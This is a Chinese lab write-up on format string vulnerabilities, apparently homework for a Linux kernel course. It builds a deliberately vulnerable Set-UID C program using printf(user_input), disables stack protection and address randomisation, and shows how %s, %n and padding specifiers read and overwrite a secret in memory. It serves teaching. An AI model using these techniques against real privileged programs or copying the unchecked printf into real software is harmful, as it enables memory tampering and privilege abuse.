格式化字符串漏洞实验

一、 实验描述

格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,其中 user_input 是用户输入的数据,具有 Set-UID root 权限的这类程序在运行的时候,printf 语句将会变得非常危险,因为它可能会导致下面的结果:

  • 使得程序崩溃
  • 任意一块内存读取数据
  • 修改任意一块内存里的数据(这种结果是非常危险的,因为它允许用户修改 set-UID root 程序内部变量的值,从而改变这些程序的行为)

本实验将会提供一个具有格式化漏洞的程序,我们将制定一个计划来探索这些漏洞。

二、 实验内容

2.1 实验一

户需要输入一段数据,数据保存在 user_input 数组中,程序会使用 printf 函数打印数据内容,并且该程序以root权限运行。这个程序存在一个格式化漏洞。让我们来看看利用这些漏洞可以搞些什么破坏。

在/home/shiyanlou/目录下,新建vul_prog.c文件,输入以下代码内容:

/* vul_prog.c */
#include <stdlib.h>
#include <stdio.h> #define SECRET1 0x44
#define SECRET2 0x55 int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
long int_input;
int a, b, c, d; /* other variables, not used here.*/ /* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int)); /* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2; printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]); printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */ /* Vulnerable place */
printf(user_input);
printf("\n"); /* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}

程序说明

程序内存中存在两个秘密值,我们想要知道这两个值,但发现无法通过读二进制代码的方式来获取它们(实验中为了简单起见,硬编码这些秘密值为0x44和0x55)。尽管我们不知道它们的值,但要得到它们的内存地址倒不是特别困难,因为对大多数系统而言,每次运行程序,这些内存地址基本上是不变的。实验假设我们已经知道了这些内存地址,为了达到这个目的,程序特意为我们打出了这些地址。

有了这些前提以后我们需要达到以下目标:

  • 找出 secret[1] 的值
  • 修改 secret[1] 的值
  • 修改 secret[1] 为期望值

注意:因为实验环境是 64 位系统,所以需要使用 %016llx 才能读取整个字。但为了简便起见,对程序进行了修改了,使用 %08x 也能完成实验。

编译运行:

$ gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
$ sudo chmod u+s vul_prog

:这里会报出一些警告 warning,可以忽略。

2.1.1 找出 secret[1]的值

1.运行 vul_prog 程序去定位 int_input 的位置,这样就确认了 %s 在格式字符串中的位置。

12和后面的 %016llx都是自己随意输入的, %016llx的个数最好在10个以上。

12的十六进制码就是0x000C,可以看到输出中12的十六进制在第8个位置上,这样我们就能确定格式化字符串的位置了。

2.输入 secret[1] 的地址,记得做进制转换,同时在格式字符串中加入 %s

可以看到 secret[1] 的地址是 0x602014 ,转换成十进制就是 6299668。

第八个位置上替换成 %s 就能打印出 secret[1] 的值了。

U 的 ascii 码就是 55。

2.1.2 修改 secret[1]的值

只要求修改,不要求改成什么。可以看到已经变成 0x77 了。

2.1.3 修改 secret[1]为期望值

要改成自己期望的值,比如改成十进制1000,手动填充1000太累了!这里可以用格式化字符填充。

从图上得知,secret[1] 的地址是 0x602014,换算成十进制就是6299668。

我们在第7位用%.897u这种设置精度的方式填充字符,897是怎么来的呢?

在 %.897u 前有 6 个 64 位地址,每个地址对应 16 个字符,加上逗号一共就是 6*(16+1)=102 ,在 %.897u 后面的地址上还有一个 , 占一个字符。所以一共是 102+1=103 个字符,要改成 1000 的话,我们就还差 1000-103=897 个字符。

0x3e8 的 10 进制就是 1000 。

2.2 实验二

现在修改vul_prog.c程序,把第一个scanf语句去掉,并去掉与int_input变量相关的所有语句,程序如下:

/* vul_prog.c */
#include <stdlib.h>
#include <stdio.h> #define SECRET1 0x44
#define SECRET2 0x55 int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int a, b, c, d; /* other variables, not used here.*/ /* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int)); /* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2; printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]); printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */ /* Vulnerable place */
printf(user_input);
printf("\n"); /* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}

同时在 xfce 终端使用 linux 命令设置关闭地址随机化选项:

sudo sysctl -w kernel.randomize_va_space=0

关闭地址随机化后,这样每次运行程序得到的 secret 地址就都一样了。

在 /home/shiyanlou 目录新建一个程序write_string.c。以下程序将一个格式化字符串写入了一个叫 mystring 的文件,前4个字节由任意你想放入格式化字符串的数字构成:

/* write_string.c */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char buf[1000];
int fp, size;
unsigned int *address;
/* Putting any number you like at the beginning of the format string */
address = (unsigned int *) buf;
*address = 0x113222580;
/* Getting the rest of the format string */
scanf("%s", buf+4);
size = strlen(buf+4) + 4;
printf("The string length is %d\n", size);
/* Writing buf to "mystring" */
fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (fp != -1) {
write(fp, buf, size);
close(fp);
} else {
printf("Open failed!\n");
}
}

编译 vul_prog.c 与 write_string.c:

rm vul_prog
gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
gcc -o write_string write_string.c

然后通过 write_string 程序将内容输入进 mystring 文件中,文件内容包括代码中加入的头四个字节和你之后输入的内容。

先运行 vul_prog 程序,输入 4 个 %016llx 。再运行 write_string 程序,输入 8 个 %016llx 和 1 个 %n ,此操作会生成一个 mystring 文件。然后输入如下命令:

./vul_prog < mystring

修改成功(0x8c = 140 = 8*16+8 个逗号+开头 4 个字节)。

20199324《Linux内核原理与分析》第十二周作业的更多相关文章

  1. 2018-2019-1 20189221 《Linux内核原理与分析》第八周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第八周作业 实验七 编译链接过程 gcc –e –o hello.cpp hello.c / gcc -x cpp-o ...

  2. 2018-2019-1 20189221 《Linux内核原理与分析》第七周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第七周作业 实验六 分析Linux内核创建一个新进程的过程 代码分析 task_struct: struct task ...

  3. 2018-2019-1 20189221 《Linux内核原理与分析》第六周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第六周作业 实验五 实验过程 将Fork函数移植到Linux的MenuOS fork()函数通过系统调用创建一个与原来 ...

  4. 2018-2019-1 20189221《Linux内核原理与分析》第五周作业

    2018-2019-1 20189221<Linux内核原理与分析>第五周作业 实验四 实验过程 当用户态进程调用一个系统调用时,cpu切换到内核态并开始执行一个内核函数. 在Linux中 ...

  5. 2018-2019-1 20189221《Linux内核原理与分析》第三周作业

    2018-2019-1 20189221<Linux内核原理与分析>第三周作业 实验二 完成一个简单的时间片轮转多道程序内核代码 实验过程 在实验楼中编译内核 编写mymain.c函数和m ...

  6. 2019-2020-1 20199329《Linux内核原理与分析》第十三周作业

    <Linux内核原理与分析>第十三周作业 一.本周内容概述 通过重现缓冲区溢出攻击来理解漏洞 二.本周学习内容 1.实验简介 注意:实验中命令在 xfce 终端中输入,前面有 $ 的内容为 ...

  7. 2019-2020-1 20199329《Linux内核原理与分析》第十一周作业

    <Linux内核原理与分析>第十一周作业 一.本周内容概述: 学习linux安全防护方面的知识 完成实验楼上的<ShellShock 攻击实验> 二.本周学习内容: 1.学习& ...

  8. 2019-2020-1 20199329《Linux内核原理与分析》第八周作业

    <Linux内核原理与分析>第八周作业 一.本周内容概述: 理解编译链接的过程和ELF可执行文件格式 编程练习动态链接库的两种使用方式 使用gdb跟踪分析一个execve系统调用内核处理函 ...

  9. 2019-2020-1 20199329《Linux内核原理与分析》第七周作业

    <Linux内核原理与分析>第七周作业 一.本周内容概述: 对Linux系统如何创建一个新进程进行追踪 分析Linux内核创建一个新进程的过程 二.本周学习内容: 1.学习进程的描述 操作 ...

  10. 2019-2020-1 20199329《Linux内核原理与分析》第六周作业

    <Linux内核原理与分析>第六周作业 一.本周内容概述: 学习系统调用的相关理论知识,并使用库函数API和C代码中嵌入汇编代码两种方式使用getpid()系统调用 学习系统调用syste ...

随机推荐

  1. vs使用opencv总提示igdrclneo64.dll异常.exe: 0xC0000005:的解决方法

    最近项目中要使用opencv库,搭建好环境,使用接口的时候,总提示 igdrclneo64.dll报错崩溃,一直怀疑是自己程序的问题,后面经过一系列的查资料才解决 解决办法: 本地环境:vs2015+ ...

  2. Intent 显示意图 隐式意图

    //显式意图  :必须指定要激活的组件的完整包名和类名 (应用程序之间耦合在一起) // 一般激活自己应用的组件的时候 采用显示意图  //隐式意图: 只需要指定要动作和数据就可以 ( 好处应用程序之 ...

  3. TP中统计指定字段的总数

    如统计已激活设备数量和未激活设备数量 $condition = [ ['member_id', '=', $member_id] ]; $field = [ 'COUNT(IF(active_memb ...

  4. java多线程并发(二)--线程的生命周期及方法详解

    上篇随笔介绍了线程的相关基础知识以及新启线程的几种方法,本片将继续介绍线程的生命周期及方法详解. 一.线程的生命周期 在Thread代码中,线程的状态被分为6种 public enum State { ...

  5. 51Nod-1072-威佐夫游戏

    有2堆石子.A B两个人轮流拿,A先拿.每次可以从一堆中取任意个或从2堆中取相同数量的石子,但不可不取.拿到最后1颗石子的人获胜.假设A B都非常聪明,拿石子的过程中不会出现失误.给出2堆石子的数量, ...

  6. Comet OJ - Contest #15(B: 当我们同心在一起 )

    题目链接 题目描述 平面上有 nn 个坐标相异的点,请问当中有多少组非共线的三个点,这三个点的 外心 也在这 nn 个点之中? 输入描述 第一行有一个正整数 nn 代表平面上的点数. 接下来有 nn  ...

  7. C++ 模板练习1

    //特定的模板友元关系 #include "stdafx.h" #include <iostream> using namespace std; template< ...

  8. Java基础知识点简记

    此篇主要记录(搬运)的是Java中一些常见概念的理解,大致内容如下 final.finally.finalize的区别 Java的传值或者传引用的理解 重写Override和重载Overload的理解 ...

  9. sqli-labs注入lesson3-4闯关秘籍

    ·lesson 3 与第一二关不同的是,这一关是基于错误的get单引号变形字符型注入 要使用 ') 进行闭合  (ps:博主自己理解为字符型注入,是不过是需要加括号进行闭合,适用于博主自己的方便记忆的 ...

  10. 一个算法题--Self Crossing

    You are given an array x of n positive numbers. You start at point (0,0) and moves x[0] metres to th ...